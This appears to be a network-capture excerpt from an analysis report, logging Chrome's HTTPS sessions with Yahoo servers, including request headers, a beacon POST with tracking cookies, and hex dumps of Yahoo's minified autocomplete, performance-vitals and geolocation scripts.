2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 64 69 64 2d 73 75 62 6d 69 74 22 29 2c 74 68 69 73 2e 68 69 64 65 4c 69 73 74 28 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 65 2e 5f 75 74 69 6c 2e 6c 69 73 74 45 6c 65 6d 3b 77 2e 64 65 73 74 72 6f 79 28 74 29 2c 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 7d 2c 31 30 30 29 7d 7d 2c 7b 6b 65 79 3a 22 73 75 62 6d 69 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 65 6c 65 6d 2c 69 3d 65 2e 66 6f 72 6d 45 6c 65 6d 3b 69 66 28 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 Data Ascii: classList.remove("wafer-autocomplete-did-submit"),this.hideList(),setTimeout(function(){var t=e._util.listElem;w.destroy(t),t.innerHTML=""},100)}},{key:"submit",value:function(){var e=this._util,t=e.elem,i=e.formElem;if(t.classList.add("wafer-autocomplete

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49926	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1356	OUT	POST /_td_api/beacon/info?beaconSrc=HomepagePWA&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&eventName=svcWkrRegSuccess&rid=1sbetl5j2qvpa HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:58 UTC	1113	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Sat, 27 Apr 2024 22:41:58 GMT x-envoy-upstream-service-time: 1 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=0k9vjatj2qvpm&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49928	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	533	OUT	GET /cx/pv/perf-vitals_3.2.0.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	770	IN	HTTP/1.1 200 OK x-amz-id-2: VpMSdG2fWzFPk3WXkZ/uAeTaRB6pww9v4AMWoJJbkklzoGqelhQyYoaXii5U6djTO9FN+qmf2PEoT+4ueAErbF+m87V+hzTz x-amz-request-id: 6RH1JCPQ3WG15S47 Date: Sat, 27 Apr 2024 22:41:59 GMT Last-Modified: Tue, 12 Sep 2023 19:35:40 GMT ETag: "26831b6bd9ea430823f593b6a70c7375" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8128 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:59 UTC	824	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 6e 2c 69 2c 72 2c 61 3d 2d 31 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 61 67 65 73 68 6f 77 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 65 72 73 69 73 74 65 64 26 26 28 61 3d 74 2e 74 69 6d 65 53 74 61 6d 70 2c 65 28 74 29 29 7d 29 2c 21 30 29 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 6e 61 76 69 67 61 74 69 6f 6e 22 29 5b 30 5d Data Ascii: !function(){"use strict";var e,t,n,i,r,a=-1,o=function(e){addEventListener("pageshow",(function(t){t.persisted&&(a=t.timeStamp,e(t))}),!0)},c=function(){return window.performance&&performance.getEntriesByType&&performance.getEntriesByType("navigation")[0]
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 72 69 65 73 28 29 29 7d 29 29 7d 29 29 3b 72 65 74 75 72 6e 20 69 2e 6f 62 73 65 72 76 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 74 79 70 65 3a 65 2c 62 75 66 66 65 72 65 64 3a 21 30 7d 2c 6e 7c 7c 7b 7d 29 29 2c 69 7d 7d 63 61 74 63 68 28 65 29 7b 7d 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 76 61 72 20 72 2c 61 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 74 2e 76 61 6c 75 65 3e 3d 30 26 26 28 6f 7c 7c 69 29 26 26 28 28 61 3d 74 2e 76 61 6c 75 65 2d 28 72 7c 7c 30 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 29 26 26 28 72 3d 74 2e 76 61 6c 75 65 2c 74 2e 64 65 6c 74 61 3d 61 2c 74 2e 72 61 74 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3e 74 5b 31 5d 3f 22 70 6f 6f 72 22 3a Data Ascii: ries())}))}));return i.observe(Object.assign({type:e,buffered:!0},n\|\|{})),i}}catch(e){}},d=function(e,t,n,i){var r,a;return function(o){t.value>=0&&(o\|\|i)&&((a=t.value-(r\|\|0))\|\|void 0===r)&&(r=t.value,t.delta=a,t.rating=function(e,t){return e>t[1]?"poor":
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 74 29 7b 74 3d 74 7c 7c 7b 7d 2c 62 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 69 3d 5b 31 38 30 30 2c 33 65 33 5d 2c 72 3d 45 28 29 2c 61 3d 73 28 22 46 43 50 22 29 2c 63 3d 66 28 22 70 61 69 6e 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 3d 3d 3d 65 2e 6e 61 6d 65 26 26 28 63 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 73 74 61 72 74 54 69 6d 65 3c 72 2e 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 26 26 28 61 2e 76 61 6c 75 65 3d 4d 61 74 68 2e 6d 61 78 28 65 2e 73 74 61 72 74 54 69 6d 65 2d 75 28 29 2c 30 29 2c 61 2e 65 6e 74 72 69 65 73 2e 70 75 73 68 28 65 29 2c 6e 28 21 30 29 29 29 7d 29 Data Ascii: t){t=t\|\|{},b((function(){var n,i=[1800,3e3],r=E(),a=s("FCP"),c=f("paint",(function(e){e.forEach((function(e){"first-contentful-paint"===e.name&&(c.disconnect(),e.startTime<r.firstHiddenTime&&(a.value=Math.max(e.startTime-u(),0),a.entries.push(e),n(!0)))})
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 6b 2c 65 2e 69 6e 74 65 72 61 63 74 69 6f 6e 49 64 29 2c 52 3d 6b 3f 28 6b 2d 4d 29 2f 37 2b 31 3a 30 29 7d 29 29 7d 2c 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3f 52 3a 70 65 72 66 6f 72 6d 61 6e 63 65 2e 69 6e 74 65 72 61 63 74 69 6f 6e 43 6f 75 6e 74 7c 7c 30 7d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 69 6e 74 65 72 61 63 74 69 6f 6e 43 6f 75 6e 74 22 69 6e 20 70 65 72 66 6f 72 6d 61 6e 63 65 7c 7c 72 7c 7c 28 72 3d 66 28 22 65 76 65 6e 74 22 2c 44 2c 7b 74 79 70 65 3a 22 65 76 65 6e 74 22 2c 62 75 66 66 65 72 65 64 3a 21 30 2c 64 75 72 61 74 69 6f 6e 54 68 72 65 73 68 6f 6c 64 3a 30 7d 29 29 7d 2c 78 3d 30 2c 4f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 28 29 2d 78 7d 2c 42 3d 5b 5d 2c 48 3d 7b 7d 2c 4e 3d Data Ascii: k,e.interactionId),R=k?(k-M)/7+1:0)}))},F=function(){return r?R:performance.interactionCount\|\|0},_=function(){"interactionCount"in performance\|\|r\|\|(r=f("event",D,{type:"event",buffered:!0,durationThreshold:0}))},x=0,O=function(){return F()-x},B=[],H={},N=
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 72 61 74 69 6e 67 22 29 5d 3d 61 2c 70 26 26 28 76 5b 22 22 2e 63 6f 6e 63 61 74 28 75 2c 22 5f 65 6c 6d 74 22 29 5d 3d 28 70 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 76 5b 22 22 2e 63 6f 6e 63 61 74 28 75 2c 22 5f 69 64 22 29 5d 3d 70 2e 69 64 7c 7c 70 2e 63 6c 61 73 73 4e 61 6d 65 7c 7c 22 22 2c 76 5b 22 22 2e 63 6f 6e 63 61 74 28 75 2c 22 5f 73 6c 6b 22 29 5d 3d 28 70 2e 69 6e 6e 65 72 54 65 78 74 7c 7c 70 2e 61 6c 74 7c 7c 70 2e 74 69 74 6c 65 7c 7c 22 22 29 2e 72 65 70 6c 61 63 65 28 4a 2c 22 20 22 29 2e 73 75 62 73 74 72 28 30 2c 31 35 30 29 29 2c 66 2e 75 72 6c 26 26 28 76 5b 22 22 2e 63 6f 6e 63 61 74 28 75 2c 22 5f 75 72 6c 22 29 5d 3d 66 2e 75 72 6c 29 3b 76 61 72 20 6c 3d 74 2e 67 65 74 52 61 70 69 Data Ascii: rating")]=a,p&&(v["".concat(u,"_elmt")]=(p.nodeName\|\|"").toLowerCase(),v["".concat(u,"_id")]=p.id\|\|p.className\|\|"",v["".concat(u,"_slk")]=(p.innerText\|\|p.alt\|\|p.title\|\|"").replace(J," ").substr(0,150)),f.url&&(v["".concat(u,"_url")]=f.url);var l=t.getRapi
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 72 20 68 3d 6c 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 71 5b 61 2e 69 64 5d 7c 7c 28 63 28 6d 2e 74 61 6b 65 52 65 63 6f 72 64 73 28 29 29 2c 6d 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 2c 71 5b 61 2e 69 64 5d 3d 21 30 2c 6e 28 21 30 29 29 7d 29 29 3b 5b 22 6b 65 79 64 6f 77 6e 22 2c 22 63 6c 69 63 6b 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 68 2c 21 30 29 7d 29 29 2c 76 28 68 29 2c 6f 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 61 3d 73 28 22 4c 43 50 22 29 2c 6e 3d 64 28 65 2c 61 2c 69 2c 74 2e 72 65 70 6f 72 74 41 6c 6c 43 68 61 6e 67 65 73 29 2c 70 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 76 61 6c 75 65 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2d 72 2e Data Ascii: r h=l((function(){q[a.id]\|\|(c(m.takeRecords()),m.disconnect(),q[a.id]=!0,n(!0))}));["keydown","click"].forEach((function(e){addEventListener(e,h,!0)})),v(h),o((function(r){a=s("LCP"),n=d(e,a,i,t.reportAllChanges),p((function(){a.value=performance.now()-r.
2024-04-27 22:41:59 UTC	804	IN	Data Raw: 6f 6e 28 65 29 7b 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 74 65 72 61 63 74 69 6f 6e 49 64 26 26 4e 28 65 29 2c 22 66 69 72 73 74 2d 69 6e 70 75 74 22 3d 3d 3d 65 2e 65 6e 74 72 79 54 79 70 65 26 26 21 42 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 65 6e 74 72 69 65 73 2e 73 6f 6d 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 64 75 72 61 74 69 6f 6e 3d 3d 3d 74 2e 64 75 72 61 74 69 6f 6e 26 26 65 2e 73 74 61 72 74 54 69 6d 65 3d 3d 3d 74 2e 73 74 61 72 74 54 69 6d 65 7d 29 29 7d 29 29 26 26 4e 28 65 29 7d 29 29 3b 76 61 72 20 74 2c 6e 3d 28 74 3d 4d 61 74 68 2e 6d 69 6e 28 42 2e 6c 65 6e 67 74 68 2d 31 2c 4d 61 74 68 2e 66 6c 6f 6f 72 28 4f 28 29 2f Data Ascii: on(e){e.forEach((function(e){e.interactionId&&N(e),"first-input"===e.entryType&&!B.some((function(t){return t.entries.some((function(t){return e.duration===t.duration&&e.startTime===t.startTime}))}))&&N(e)}));var t,n=(t=Math.min(B.length-1,Math.floor(O()/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49929	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	544	OUT	GET /aaq/wf/wf-geolocation-1.3.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:58 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: yqh/2/KSDA8TK+BL4m+ZsFvlc47N+rBG/2u28NpB1eZq0wUIe0+xHcx441ZemMDljSFt6ZuoR8Q= x-amz-request-id: DF9MR1AJSZPBCZW1 Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Sun, 26 Jun 2022 23:02:47 GMT ETag: "69d9917872ff1011bcb87d5044f6e12d" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: LeRXhTI8jsXZi5VD27HcACcazjCdOxvi Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 7977 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 731 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-geolocation",[],t):"object"==typeof exports?exports["wafer-geolocation"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafe
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 Data Ascii: "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function i(e,t){if(!(e instanceof t))throw new TypeError("Cannot c
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 69 74 68 43 61 63 68 65 2c 76 3d 70 2e 41 54 54 52 5f 50 52 45 46 49 58 2c 77 3d 5b 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 5d 2c 6d 3d 22 75 73 65 72 2e 63 75 72 72 65 6e 74 50 72 65 63 69 73 65 4c 6f 63 61 74 69 6f 6e 22 2c 62 3d 5b 22 22 5d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 61 3d 6f 2e 73 65 6c 65 63 74 6f 72 3b 72 28 74 68 69 73 2c 74 29 3b 76 61 72 20 69 3d 6e 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 Data Ascii: ithCache,v=p.ATTR_PREFIX,w=["handleClick"],m="user.currentPreciseLocation",b=[""],_=function(e){function t(e){var o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=o.selector;r(this,t);var i=n(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 70 72 6f 67 72 65 73 73 22 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 69 66 28 30 3d 3d 3d 65 2e 5f 73 74 61 74 65 2e 66 65 74 63 68 53 74 61 74 75 73 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 45 72 72 6f 72 28 22 66 65 74 63 68 20 69 6e 20 70 72 6f 67 72 65 73 73 22 29 29 3b 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 2e 5f 73 74 61 74 65 2e 66 65 74 63 68 53 74 61 74 75 73 3d 30 2c 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 2e 67 65 74 43 75 72 72 65 6e 74 50 6f 73 69 74 69 6f 6e 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6e 3d 72 2e 63 6f 6f 72 64 73 2c 61 3d 6e 2e 6c 61 74 69 74 75 64 65 2c 69 3d 6e 2e 6c 6f 6e 67 Data Ascii: progress"),new Promise(function(t,n){if(0===e._state.fetchStatus)return n(new Error("fetch in progress"));window.navigator.geolocation?(e._state.fetchStatus=0,window.navigator.geolocation.getCurrentPosition(function(r){var n=r.coords,a=n.latitude,i=n.long
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 5d 29 2c 74 7d 28 68 29 3b 5f 2e 65 76 65 6e 74 73 3d 7b 63 6c 69 63 6b 3a 5b 5b 22 68 61 73 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 2d 63 6c 69 63 6b 22 2c 22 68 61 6e 64 6c 65 43 6c 69 63 6b 22 5d 5d 7d 3b 76 61 72 20 6b 3d 5f 2c 4f 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 6f 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6f 2c 72 29 26 26 28 65 5b 72 5d 3d 6f 5b 72 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 6a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 Data Ascii: ]),t}(h);_.events={click:[["has-geolocation-click","handleClick"]]};var k=_,O=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var o=arguments[t];for(var r in o)Object.prototype.hasOwnProperty.call(o,r)&&(e[r]=o[r])}return e},j=function(){fu
2024-04-27 22:41:58 UTC	414	IN	Data Raw: 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 61 3d 28 63 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 61 3d 21 30 29 7b 63 2e 76 61 6c 75 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 2d 64 65 6e 69 65 64 22 29 7d 7d 63 61 74 63 68 28 65 29 7b 69 3d 21 30 2c 73 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 61 26 26 6c 2e 72 65 74 75 72 6e 26 26 6c 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 69 29 74 68 72 6f 77 20 73 7d 7d 7d 72 2e 5f 73 74 61 74 65 2e 70 65 72 6d 69 73 73 69 6f 6e 53 74 61 74 65 3d 6f 2c 74 2e 6f 6e 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 5f 73 74 61 74 65 2e 70 65 72 6d 69 73 73 69 6f 6e 53 74 61 74 65 3d 74 68 69 Data Ascii: [Symbol.iterator]();!(a=(c=l.next()).done);a=!0){c.value.classList.add("wafer-geolocation-denied")}}catch(e){i=!0,s=e}finally{try{!a&&l.return&&l.return()}finally{if(i)throw s}}}r._state.permissionState=o,t.onchange=function(){r._state.permissionState=thi
2024-04-27 22:41:58 UTC	1063	IN	Data Raw: 30 29 7b 61 2e 76 61 6c 75 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 2d 64 65 6e 69 65 64 22 29 7d 7d 63 61 74 63 68 28 65 29 7b 6f 3d 21 30 2c 6e 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 74 26 26 69 2e 72 65 74 75 72 6e 26 26 69 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 7d 7d 7d 65 6c 73 65 7b 76 61 72 20 73 3d 21 30 2c 63 3d 21 31 2c 6c 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 75 2c 66 3d 65 2e 6b 65 79 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 73 3d 28 75 3d 66 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 73 3d 21 30 29 7b 75 2e 76 61 6c 75 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f Data Ascii: 0){a.value.classList.add("wafer-geolocation-denied")}}catch(e){o=!0,n=e}finally{try{!t&&i.return&&i.return()}finally{if(o)throw n}}}else{var s=!0,c=!1,l=void 0;try{for(var u,f=e.keys()[Symbol.iterator]();!(s=(u=f.next()).done);s=!0){u.value.classList.remo

